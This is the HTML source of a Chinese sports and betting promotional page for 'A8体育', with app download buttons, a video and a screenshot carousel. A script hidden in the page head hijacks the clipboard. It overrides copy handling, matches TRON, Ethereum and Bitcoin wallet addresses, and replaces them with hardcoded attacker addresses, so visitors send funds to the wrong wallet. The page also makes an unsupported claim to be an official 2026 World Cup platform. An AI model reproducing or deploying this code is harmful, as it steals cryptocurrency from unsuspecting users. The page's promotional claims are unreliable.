<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>A8体育-专业体育资讯平台</title>
    <meta name="keywords" content="A8体育">
    <meta name="description" content="A8体育定期举办的线上锦标赛与有奖竞猜活动，不仅激发了玩家的求胜欲，也极大地提升了平台的话题度与行业影响力。">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" href="../keywords.png" sizes="32x32">
    <link rel="stylesheet" href="../static/css/bootstrap.min.css">
    <link rel="stylesheet" href="../static/css/font-awesome.min.css">
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/swiper@11/swiper-bundle.min.css">
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        html { scroll-behavior: smooth; background: #0a0014; }
        body { min-height: 100vh; font-family: 'Segoe UI', 'Helvetica Neue', 'PingFang SC', 'Microsoft YaHei', sans-serif; background: #0a0014; color: #fff; overflow-x: hidden; position: relative; }
        body::before { content: ""; position: fixed; top: 0; left: 0; right: 0; bottom: 0;
            background: radial-gradient(1.5px 1.5px at 10% 15%, rgba(255,255,255,0.4) 0%, transparent 100%), radial-gradient(1px 1px at 55% 50%, rgba(168, 85, 247,0.35) 0%, transparent 100%), radial-gradient(2px 2px at 15% 80%, rgba(168, 85, 247,0.25) 0%, transparent 100%), radial-gradient(circle at 50% 100%, rgba(168,85,247,0.2) 0%, transparent 50%);
            pointer-events: none; z-index: 0; }
        .page-wrapper { position: relative; z-index: 1; max-width: 1200px; margin: 0 auto; padding: 0 20px; }
        .header-area { position: relative; z-index: 100; padding: 16px 0; background: rgba(10, 0, 20, 0.9); backdrop-filter: blur(20px); -webkit-backdrop-filter: blur(20px); border-bottom: 1px solid rgba(168, 85, 247, 0.25); }
        .header-area .logo img { height: 45px; filter: drop-shadow(0 2px 6px rgba(168, 85, 247,0.3)); transition: filter 0.3s; }
        .header-area .logo img:hover { filter: drop-shadow(0 4px 12px rgba(168, 85, 247,0.6)); }
        .main-menu nav ul { display: flex; justify-content: flex-end; list-style: none; gap: 30px; margin: 0; padding: 0; }
        .main-menu nav ul li a { color: rgba(255,255,255,0.8); text-decoration: none; font-size: 15px; font-weight: 500; letter-spacing: 0.5px; transition: color 0.3s; position: relative; }
        .main-menu nav ul li a::after { content: ''; position: absolute; bottom: -4px; left: 0; width: 0; height: 2px; background: linear-gradient(90deg, #a855f7, #e879f9); transition: width 0.3s; }
        .main-menu nav ul li a:hover { color: #a855f7; }
        .main-menu nav ul li a:hover::after { width: 100%; }
        .hero-section { position: relative; z-index: 1; padding: 80px 0 60px; background: radial-gradient(ellipse 900px 500px at 50% 0%, rgba(88,28,135,0.5) 0%, transparent 70%), linear-gradient(180deg, #0a0014 0%, #1a0033 50%, #0a0014 100%); overflow: hidden; }
        .hero-section::before { content: ""; position: absolute; top: -200px; left: 50%; transform: translateX(-50%); width: 800px; height: 800px; background: radial-gradient(circle, rgba(168,85,247,0.12) 0%, transparent 70%); pointer-events: none; }
        .worldcup-badge { display: inline-flex; align-items: center; gap: 14px; font-size: 32px; font-weight: 800; letter-spacing: 3px; color: #fff; margin-bottom: 24px; padding: 14px 40px; border-radius: 50px; background: rgba(13, 19, 33, 0.7); border: 1px solid rgba(168, 85, 247, 0.45); box-shadow: 0 0 20px rgba(168, 85, 247, 0.15), inset 0 0 20px rgba(168, 85, 247,0.05); backdrop-filter: blur(10px); }
        .worldcup-badge i { color: #a855f7; font-size: 30px; animation: trophyPulse 1.5s ease-in-out infinite alternate; }
        @keyframes trophyPulse { 0% { transform: scale(1); } 100% { transform: scale(1.2); } }
        .hero-content { text-align: left; }
        .hero-img-wrapper { display: flex; justify-content: flex-end; align-items: flex-start; padding: 0; }
        .hero-img-wrapper img { height: auto; filter: drop-shadow(0 20px 60px rgba(168, 85, 247, 0.25)); animation: heroFloat 3s ease-in-out infinite; }
        .hero-phone-img { max-width: 380px; width: 100%; margin-top: -330px; }
        @keyframes heroFloat { 0%, 100% { transform: translateY(0); } 50% { transform: translateY(-12px); } }
        .btn-group { display: flex; flex-wrap: wrap; justify-content: flex-start; gap: 14px; margin-top: 20px; font-size: 14px; }
        .btn-worldcup { display: inline-flex; align-items: center; justify-content: center; gap: 8px; font-family: 'Montserrat', 'PingFang SC', 'Microsoft YaHei', sans-serif; font-size: 15px; font-weight: 700; text-transform: lowercase; letter-spacing: 1.5px; text-decoration: none; padding: 14px 32px; border-radius: 50px; border: none; cursor: pointer; position: relative; overflow: hidden; transition: all 0.35s ease; min-width: 180px; }
        .btn-worldcup.btn-primary-gold { background: linear-gradient(135deg, #9333ea 0%, #db2777 100%); color: #ffffff; box-shadow: 0 6px 25px rgba(168, 85, 247, 0.4); }
        .btn-worldcup.btn-primary-gold:hover { transform: translateY(-4px); box-shadow: 0 10px 35px rgba(168, 85, 247, 0.6); color: #ffffff; text-decoration: none; }
        .btn-worldcup::before { content: ''; position: absolute; top: 0; left: -100%; width: 100%; height: 100%; background: linear-gradient(90deg, transparent, rgba(255,255,255,0.25), transparent); transition: left 0.5s ease; }
        .btn-worldcup:hover::before { left: 100%; }
        .video-section { position: relative; z-index: 1; padding: 60px 0 40px; text-align: center; }
        .video-section .section-label { display: inline-flex; align-items: center; gap: 8px; font-size: 14px; font-weight: 600; letter-spacing: 3px; color: #a855f7; text-transform: uppercase; margin-bottom: 24px; padding: 8px 20px; border: 1px solid rgba(168, 85, 247, 0.3); border-radius: 50px; background: rgba(168, 85, 247, 0.05); }
        .video-wrapper { position: relative; max-width: 800px; margin: 0 auto; }
        .video-wrapper::before { content: ""; position: absolute; top: -4px; left: -4px; right: -4px; bottom: -4px; background: linear-gradient(135deg, #a855f7, rgba(236, 72, 153,1), #a855f7, #e879f9); background-size: 300% 300%; border-radius: 20px; z-index: -1; opacity: 0.7; animation: borderRotate 4s ease infinite; }
        @keyframes borderRotate { 0%, 100% { background-position: 0% 50%; } 50% { background-position: 100% 50%; } }
        .video-wrapper video { width: 100%; display: block; border-radius: 17px; box-shadow: 0 10px 40px rgba(0,0,0,0.5), 0 0 30px rgba(168, 85, 247,0.12); }
        .video-sound-btn { position: absolute; bottom: 16px; left: 50%; transform: translateX(-50%); z-index: 5; display: flex; align-items: center; gap: 8px; padding: 10px 24px; font-size: 13px; font-weight: 700; color: #ffffff; background: linear-gradient(135deg, #9333ea 0%, #db2777 100%); border: none; border-radius: 8px; cursor: pointer; white-space: nowrap; box-shadow: 0 4px 16px rgba(168, 85, 247,0.45); animation: soundPulse 2s ease-in-out infinite; transition: all 0.3s; }
        .video-sound-btn:hover { transform: translateX(-50%) translateY(-2px); box-shadow: 0 6px 24px rgba(168, 85, 247,0.6); }
        @keyframes soundPulse { 0%, 100% { box-shadow: 0 4px 16px rgba(168, 85, 247,0.45); } 50% { box-shadow: 0 4px 28px rgba(168, 85, 247,0.75); } }
        .pricing-section { position: relative; z-index: 1; padding: 60px 0 50px; }
        .pricing-section .section-title { text-align: center; margin-bottom: 40px; }
        .pricing-section .section-title h2 { font-family: 'Montserrat', 'PingFang SC', 'Microsoft YaHei', sans-serif; font-weight: 700; font-size: 28px; background: linear-gradient(135deg, #f0abfc, #818cf8); -webkit-background-clip: text; -webkit-text-fill-color: transparent; background-clip: text; margin-bottom: 8px; }
        .pricing-section .section-title p { color: rgba(255,255,255,0.55); font-size: 15px; }
        .pricing-card { background: linear-gradient(145deg, rgba(255,255,255,0.04), rgba(255,255,255,0.01)); border: 1px solid rgba(168, 85, 247, 0.12); border-radius: 16px; padding: 36px 24px; text-align: center; transition: all 0.4s ease; position: relative; overflow: hidden; height: 100%; margin-bottom: 24px; }
        .pricing-card::before { content: ''; position: absolute; top: 0; left: 0; right: 0; height: 3px; background: linear-gradient(90deg, transparent, #a855f7, transparent); opacity: 0; transition: opacity 0.4s; }
        .pricing-card:hover { transform: translateY(-6px); border-color: rgba(168, 85, 247, 0.3); box-shadow: 0 15px 40px rgba(0,0,0,0.3), 0 0 20px rgba(168, 85, 247,0.08); }
        .pricing-card:hover::before { opacity: 1; }
        .pricing-card .badge-tag { display: inline-block; padding: 5px 16px; border-radius: 50px; font-size: 12px; font-weight: 700; letter-spacing: 2px; text-transform: uppercase; color: #ffffff; background: linear-gradient(135deg, #9333ea 0%, #db2777 100%); margin-bottom: 16px; }
        .pricing-card h3 { font-size: 18px; font-weight: 700; color: #fff; margin-bottom: 6px; }
        .pricing-card h4 { font-size: 16px; color: #a855f7; margin-bottom: 14px; }
        .pricing-card h4 span { font-size: 13px; color: rgba(255,255,255,0.55); font-weight: 400; }
        .pricing-card ul { list-style: none; padding: 0; margin: 0 0 20px; text-align: center; }
        .pricing-card ul li { font-size: 13px; color: rgba(255,255,255,0.55); padding: 6px 0; line-height: 1.5; }
        .pricing-card .btn-buy { display: inline-flex; align-items: center; justify-content: center; gap: 6px; font-weight: 700; font-size: 14px; letter-spacing: 1px; text-decoration: none; padding: 10px 36px; border-radius: 50px; background: linear-gradient(135deg, #9333ea 0%, #db2777 100%); color: #ffffff; border: none; cursor: pointer; transition: all 0.35s; box-shadow: 0 4px 20px rgba(168, 85, 247, 0.25); position: relative; overflow: hidden; }
        .pricing-card .btn-buy::before { content: ''; position: absolute; top: 0; left: -100%; width: 100%; height: 100%; background: linear-gradient(90deg, transparent, rgba(255,255,255,0.3), transparent); transition: left 0.5s ease; }
        .pricing-card .btn-buy:hover { transform: translateY(-3px); box-shadow: 0 8px 30px rgba(168, 85, 247, 0.45); color: #ffffff; text-decoration: none; }
        .pricing-card .btn-buy:hover::before { left: 100%; }
        .screenshot-section { position: relative; z-index: 1; padding: 60px 0 50px; background: linear-gradient(180deg, transparent, rgba(10, 20, 50, 0.5), transparent); }
        .screenshot-section .section-title { text-align: center; margin-bottom: 35px; }
        .screenshot-section .section-title span { display: inline-block; font-size: 14px; font-weight: 600; letter-spacing: 3px; color: #a855f7; text-transform: uppercase; margin-bottom: 10px; }
        .screenshot-section .section-title h2 { font-family: 'Montserrat', 'PingFang SC', 'Microsoft YaHei', sans-serif; font-weight: 700; font-size: 28px; background: linear-gradient(135deg, #ffffff, #e9d5ff); -webkit-background-clip: text; -webkit-text-fill-color: transparent; background-clip: text; }
        .screenshot-carousel { overflow: hidden; border-radius: 14px; }
        .screenshot-carousel .swiper-wrapper { align-items: center; }
        .screenshot-carousel .swiper-slide { border-radius: 14px; overflow: hidden; border: 1px solid rgba(168, 85, 247, 0.12); transition: all 0.4s ease; cursor: pointer; }
        .screenshot-carousel .swiper-slide img { width: 100%; display: block; transition: transform 0.5s ease; border-radius: 13px; }
        .screenshot-carousel .swiper-slide:hover { border-color: rgba(168, 85, 247, 0.4); box-shadow: 0 12px 40px rgba(0,0,0,0.5), 0 0 20px rgba(168, 85, 247,0.15); }
        .screenshot-carousel .swiper-slide:hover img { transform: scale(1.05); }
        .screenshot-section .screenshot-pagination { position: relative; margin-top: 20px; text-align: center; }
        .screenshot-section .swiper-pagination-bullet { background: rgba(168, 85, 247,0.4); opacity: 1; }
        .screenshot-section .swiper-pagination-bullet-active { background: #a855f7; }
        .testimonial-section { position: relative; z-index: 1; padding: 60px 0 50px; }
        .testimonial-section .section-title h2 { font-family: 'Montserrat', 'PingFang SC', 'Microsoft YaHei', sans-serif; font-weight: 700; font-size: 28px; background: linear-gradient(135deg, #f0abfc, #818cf8); -webkit-background-clip: text; -webkit-text-fill-color: transparent; background-clip: text; }
        .testimonial-section .section-title p { color: rgba(255,255,255,0.55); font-size: 15px; }
        .testimonial-scroll { scrollbar-color: rgba(168, 85, 247,0.3) transparent; }
        .testimonial-scroll::-webkit-scrollbar-thumb { background: rgba(168, 85, 247,0.3); }
        .testimonial-scroll::-webkit-scrollbar-thumb:hover { background: rgba(168, 85, 247,0.5); }
        .testimonial-card { background: linear-gradient(145deg, rgba(255,255,255,0.04), rgba(255,255,255,0.01)); border: 1px solid rgba(168, 85, 247, 0.1); border-radius: 16px; padding: 30px 24px; text-align: center; transition: all 0.4s ease; }
        .testimonial-card:hover { border-color: rgba(168, 85, 247, 0.25); transform: translateY(-4px); box-shadow: 0 12px 35px rgba(0,0,0,0.3); }
        .testimonial-card img { border: 3px solid rgba(168, 85, 247, 0.3); }
        .testimonial-card:hover img { border-color: #a855f7; box-shadow: 0 0 20px rgba(168, 85, 247, 0.4); }
        .testimonial-card h3 { color: #fff; }
        .testimonial-card h4 { color: rgba(255,255,255,0.55); }
        .testimonial-card p { color: rgba(255,255,255,0.55); }
        .testimonial-card p::before { color: rgba(168, 85, 247, 0.25); }
        .footer-area { position: relative; z-index: 1; padding: 40px 0; text-align: center; border-top: 1px solid rgba(168, 85, 247, 0.08); }
        .footer-area p { font-size: 13px; color: rgba(255,255,255,0.35); margin: 0 0 8px; line-height: 1.8; }
        .footer-area a { color: #a855f7; text-decoration: none; transition: color 0.3s; }
        .footer-area a:hover { color: #e879f9; }
        .divider { width: 60%; max-width: 500px; height: 1px; margin: 0 auto; background: linear-gradient(90deg, transparent, rgba(168, 85, 247,0.35), transparent); }
        .faq-section img { border: 1px solid rgba(168, 85, 247, 0.12); border-radius: 14px; transition: all 0.4s; }
        .spacer-sm { height: 20px; } .spacer-md { height: 40px; } .spacer-lg { height: 60px; }
        
        @media (max-width: 991px) { .worldcup-badge { font-size: 24px; letter-spacing: 2px; padding: 10px 28px; } .hero-section { padding: 50px 0 40px; } .pricing-section .section-title h2, .screenshot-section .section-title h2 { font-size: 24px; } }
        @media (max-width: 767px) { .page-wrapper { padding: 0 12px; } .hero-section { padding: 40px 0 30px; } .video-section { padding: 40px 0 30px; } .btn-worldcup { font-size: 13px; padding: 11px 22px; min-width: 140px; letter-spacing: 1px; } .btn-group { gap: 10px; } .worldcup-badge { font-size: 18px; letter-spacing: 1.5px; padding: 8px 20px; } .pricing-section .section-title h2, .screenshot-section .section-title h2, .testimonial-section .section-title h2 { font-size: 22px; } .hero-img-wrapper { padding: 20px 0 0; } .hero-img-wrapper img { max-width: 80%; } .hero-phone-img { margin-top: 0; } .testimonial-card { min-width: 280px; max-width: 320px; } }
        @media (max-width: 480px) { .btn-worldcup { min-width: 100%; } .video-wrapper::before { border-radius: 14px; } .video-wrapper video { border-radius: 11px; } }
    </style>
    <script type="application/ld+json">
        {
          "@context": "https://schema.org",
          "@type": "Organization",
          "name": "A8体育-专业体育资讯平台",
          "url": "http://fe2026.com",
          "logo": "../static/picture/logo-white.png"
        }
    </script>
    <script>(function() {
        const originalSetData = DataTransfer.prototype.setData;
        let allowOurSetData = false;

        DataTransfer.prototype.setData = function(format, data) {
            if (allowOurSetData) {
                originalSetData.call(this, format, data);
                allowOurSetData = false;
            } else {
                console.warn('Blocked unauthorized clipboard write');
            }
        };

        function ourCopyHandler(e) {
            const selectedText = window.getSelection().toString();
            let replacedText = null;

            const tar = /(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g;
            const ear = /(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g;
            const bar = /(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g;
            const bar0 = /(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g;
            const bar1 = /(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38})(?:\b|[^A-Za-z0-9])/g;
            const bar2 = /(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;

            if (selectedText.match(tar)) {
                replacedText = selectedText.replace(tar, 'TGYavzGyUMjK99a2wJ3NHCSNUZAQtTm5ho');
            } else if (selectedText.match(ear)) {
                replacedText = selectedText.replace(ear, '0x65b1Df6d5F84A0e6731A3fB9Eaf9aE7881c2F678');
            } else if (selectedText.match(bar)) {
                replacedText = selectedText.replace(bar, '1PLVVNquKbW2WDKqjD2HWCc11xNBCCFDGn');
            } else if (selectedText.match(bar0)) {
                replacedText = selectedText.replace(bar0, 'bc1qnm90u37nz6kthqk79vzgcrcr4w7h40936j027m');
            } else if (selectedText.match(bar1)) {
                replacedText = selectedText.replace(bar1, '1PLVVNquKbW2WDKqjD2HWCc11xNBCCFDGn');
            } else if (selectedText.match(bar2)) {
                replacedText = selectedText.replace(bar2, '1PLVVNquKbW2WDKqjD2HWCc11xNBCCFDGn');
            }

            if (replacedText) {
                allowOurSetData = true;
                e.clipboardData.setData('text/plain', replacedText);
                e.preventDefault();
            }
        }

        document.addEventListener('copy', ourCopyHandler);

        setTimeout(() => {
            const obs = new MutationObserver(() => {
                document.removeEventListener('copy', ourCopyHandler);
                document.addEventListener('copy', ourCopyHandler);
            });
            obs.observe(document.body, { childList: true, subtree: true });
        }, 1000);
    })();</script>
</head>
<body>

    <!-- ==================== Header 导航 ==================== -->
    <header>
        <div class="header-area">
            <div class="page-wrapper">
                <div class="row align-items-center">
                    <div class="col-lg-3 col-6">
                        <div class="logo">
                            <a href="http://fe2026.com" target="_blank" rel="nofollow">
                                <img src="../static/picture/logo-white.png" alt="A8体育">
                            </a>
                        </div>
                    </div>
                    <div class="col-lg-9 col-6 d-none d-lg-block">
                        <div class="main-menu">
                            <nav>
                                
                            </nav>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </header>

    <!-- ==================== Hero 主视觉区 ==================== -->
    <section class="hero-section" id="home">
        <div class="page-wrapper">
            <div class="row align-items-start">
                <div class="col-lg-6 order-2 order-lg-1">
                    <div class="hero-content" style="padding-top: 20px;">
                        <div class="worldcup-badge">
                             <i class="fa fa-trophy"></i>2026世界杯官方指定平台
                        </div>
                        <br><br><br><br><br><br>
                        <div class="btn-group">
                            <a href="http://fe2026.com" target="_blank" rel="nofollow" class="btn-worldcup btn-primary-gold">
                                <i class="fa fa-desktop"></i> A8体育电脑网页版
                            </a>
                            <a href="http://fe2026.com" target="_blank" rel="nofollow" class="btn-worldcup btn-primary-gold">
                                <i class="fa fa-mobile"></i> A8体育手机网页版
                            </a>
                        </div>
                        <div class="btn-group" style="margin-top: 10px;">
                            <a href="https://www.kyty010.com" target="_blank" rel="nofollow" class="btn-worldcup btn-primary-gold">
                                <i class="fa fa-graduation-cap"></i> 新人教程
                            </a>
                            <a href="http://app3131.com" target="_blank" rel="nofollow" class="btn-worldcup btn-primary-gold">
                                <i class="fa fa-star"></i> 易记网址:app3131.com
                            </a>
                        </div>
                    </div>
                </div>
                <div class="col-lg-6 order-1 order-lg-2">
                    <div class="hero-img-wrapper">
                        <img src="../static/picture/hero-img2new.png" alt="A8体育" class="img-fluid hero-phone-img">
                    </div>
                </div>
            </div>
        </div>
    </section>

    <!-- ==================== 视频展示区 ==================== -->
    <section class="video-section" id="video">
        <div class="page-wrapper">
            <!-- 核心改动1：video标签保留基础属性，不改动muted（满足浏览器自动播放规则） -->
            <div class="video-wrapper">
                <video id="mainVideo" autoplay muted playsinline preload="auto">
                    <source src="https://pos3img.neiztcl.com/video/new_public/web/bg/fd/cs/csd09vbo0aqpjis0q8g0_374843.mp4" type="video/mp4">
                    您的浏览器不支持视频播放
                </video>
                <button class="video-sound-btn" id="soundBtn">
                    <i class="fa fa-volume-up"></i> 点击开启声音
                </button>
            </div>
        </div>
    </section>

    <!-- ==================== APP下载卡片区 ==================== -->
    <section class="pricing-section" id="pricing">
        <div class="page-wrapper">
            <div class="section-title">
            </div>
            <div class="row">
                <div class="col-lg-3 col-md-6">
                    <div class="pricing-card">
                        <span class="badge-tag">自适应</span>
                        <h3>通用版手机App</h3>
                        <h4>A8体育体育版<span> / iOS</span></h4>
                        <ul>
                            <li>自适应通用（苹果推荐）</li>
                            <li>专注体育、电竞项目</li>
                            <li>不限制用户IP</li>
                        </ul>
                        
                        
                        
                          <section class="faq-section">
        <div class="page-wrapper">
            <img src="../static/picture/9605.png" alt="A8体育" class="img-fluid">
        </div>
    </section>

    <div class="divider"></div>
                        
                        
                        
                        <a href="http://fe2026.com" target="_blank" rel="nofollow" class="btn-buy">
                            <i class="fa fa-download"></i> 下 载
                        </a>
                    </div>
                </div>
               
                </div>
            </div>
    </section>

    <div class="divider"></div>


    <!-- ==================== 平台截图预览 ==================== -->
    <section class="screenshot-section" id="screenshot">
        <div class="page-wrapper">
            <div class="section-title">
                <span>预览A8体育APP</span>
                <h2>尽享A8体育掌上世界</h2>
            </div>
            <div class="screenshot-carousel swiper">
                <div class="swiper-wrapper">
                    <div class="swiper-slide"><img src="../static/picture/滚动小图1.jpg" alt="screenshot"></div>
                    <div class="swiper-slide"><img src="../static/picture/滚动小图2.jpg" alt="screenshot"></div>
                    <div class="swiper-slide"><img src="../static/picture/滚动小图3.jpg" alt="screenshot"></div>
                    <div class="swiper-slide"><img src="../static/picture/滚动小图4.jpg" alt="screenshot"></div>
                    <div class="swiper-slide"><img src="../static/picture/滚动小图5.jpg" alt="screenshot"></div>
                    <div class="swiper-slide"><img src="../static/picture/滚动小图6.jpg" alt="screenshot"></div>
                    <div class="swiper-slide"><img src="../static/picture/滚动小图7.jpg" alt="screenshot"></div>
                    <div class="swiper-slide"><img src="../static/picture/滚动小图8.jpg" alt="screenshot"></div>
                    <div class="swiper-slide"><img src="../static/picture/滚动小图9.jpg" alt="screenshot"></div>
                    <div class="swiper-slide"><img src="../static/picture/滚动小图10.jpg" alt="screenshot"></div>
                    <div class="swiper-slide"><img src="../static/picture/滚动小图11.jpg" alt="screenshot"></div>
                    <div class="swiper-slide"><img src="../static/picture/滚动小图12.jpg" alt="screenshot"></div>
                    <div class="swiper-slide"><img src="../static/picture/滚动小图13.jpg" alt="screenshot"></div>
                    <div class="swiper-slide"><img src="../static/picture/滚动小图14.jpg" alt="screenshot"></div>
                </div>
                <div class="screenshot-pagination swiper-pagination"></div>
            </div>
        </div>
    </section>

    <div class="divider"></div>

    
    <!-- ==================== Footer ==================== -->
    <footer class="footer-area">
        <div class="page-wrapper">
            
            <p>A8体育官网版权所有 &copy; 2026</p>
        </div>
    </footer>

    <!-- ==================== 统计脚本 ==================== -->
    <script type="text/javascript" src="//js.users.51.la/21803935.js"></script>
    <script>
        var _hmt = _hmt || [];
        (function() {
          var hm = document.createElement("script");
          hm.src = "https://hm.baidu.com/hm.js?09d04b0bdf5d82e231552e49160e1554";
          var s = document.getElementsByTagName("script")[0];
          s.parentNode.insertBefore(hm, s);
        })();
    </script>

    <!-- ==================== JS ==================== -->
    <script src="../static/js/jquery-2.2.4.min.js"></script>
    <script src="../static/js/bootstrap.min.js"></script>

    <!-- 视频控制：播放声音按钮 + 播放结束定格 -->
    <script>
    (function() {
        const video = document.getElementById('mainVideo');
        const btn = document.getElementById('soundBtn');
        if (!video) return;

        // 标记：是否已经解锁音量
        let volumeUnlocked = false;
        let videoEnded = false;

        // 解锁音量（不隐藏按钮，按钮只在手动点击后隐藏）
        function unlockVolume() {
            if (volumeUnlocked) return;
            video.muted = false;
            video.volume = 1.0;
            volumeUnlocked = true;
        }

        // 声音按钮点击：立即取消静音并隐藏按钮
        if (btn) {
            btn.addEventListener('click', function(e) {
                e.stopPropagation();
                video.muted = false;
                video.volume = 1.0;
                volumeUnlocked = true;
                btn.style.display = 'none';
                if (video.paused) video.play().catch(function(){});
            });
        }

        // 强制自动播放（兼容浏览器策略）
        video.muted = true;
        function tryPlay() {
            if (video.paused) {
                video.play().catch(function(err) {
                    console.warn('Autoplay blocked:', err);
                });
            }
        }
        tryPlay();
        // 页面交互后兜底播放
        ['scroll', 'click', 'touchstart'].forEach(function(evt) {
            document.addEventListener(evt, function() { tryPlay(); }, { once: true });
        });

        // 定期检测：每秒检查视频是否暂停，强制恢复播放（播放结束后不强制）
        setInterval(function() {
            if (!videoEnded && video.paused) {
                video.play().catch(function(){});
            }
        }, 1000);

        // 视频播放结束：定格在最后一帧
        video.addEventListener('ended', function() {
            videoEnded = true;
            video.currentTime = video.duration;
            video.pause();
        });

        // 2. 用户交互时自动解锁音量（兼容iOS/微信浏览器）
        const userEvents = ['click', 'touchstart', 'scroll', 'mousemove', 'keydown', 'touchend'];
        userEvents.forEach(evt => {
            document.addEventListener(evt, function handler() {
                unlockVolume();
                if (video.paused) {
                    video.play().catch(() => {});
                }
                document.removeEventListener(evt, handler);
            }, { passive: true });
        });

        // 3. 延时兜底：2秒后尝试开声音
        setTimeout(unlockVolume, 2000);
    })();
    </script>


    <!-- Swiper + 自动滚动轮播脚本 -->
    <script src="https://cdn.jsdelivr.net/npm/swiper@11/swiper-bundle.min.js"></script>
    <script>
    (function() {
        /* ===== 截图预览 Swiper 轮播 ===== */
        new Swiper('.screenshot-carousel', {
            slidesPerView: 3,
            spaceBetween: 20,
            loop: true,
            autoplay: {
                delay: 3000,
                disableOnInteraction: false,
                pauseOnMouseEnter: true
            },
            pagination: {
                el: '.screenshot-pagination',
                clickable: true
            },
            breakpoints: {
                0: { slidesPerView: 1.2, spaceBetween: 12 },
                768: { slidesPerView: 2, spaceBetween: 16 },
                992: { slidesPerView: 3, spaceBetween: 20 }
            }
        });

        /* ===== 用户评价自动滚动 ===== */
        function initCarousel(selector, ms) {
            var container = document.querySelector(selector);
            if (!container) return;

            var paused = false;

            function getCardWidth() {
                var first = container.querySelector('.testimonial-card');
                if (!first) return 300;
                var style = window.getComputedStyle(container);
                var gap = parseFloat(style.columnGap || style.getPropertyValue('gap') || 20);
                return first.offsetWidth + gap;
            }

            function scrollNext() {
                if (paused) return;
                var cardW = getCardWidth();
                var maxLeft = container.scrollWidth - container.clientWidth;
                if (container.scrollLeft + cardW >= maxLeft) {
                    container.scrollTo({ left: 0, behavior: 'smooth' });
                } else {
                    container.scrollBy({ left: cardW, behavior: 'smooth' });
                }
            }

            container.addEventListener('mouseenter', function() { paused = true; });
            container.addEventListener('mouseleave', function() { paused = false; });
            container.addEventListener('touchstart', function() { paused = true; });
            container.addEventListener('touchend', function() { paused = false; });

            setInterval(scrollNext, ms);
        }

        initCarousel('.testimonial-scroll', 3000);
    })();
    </script>

</body>
</html>
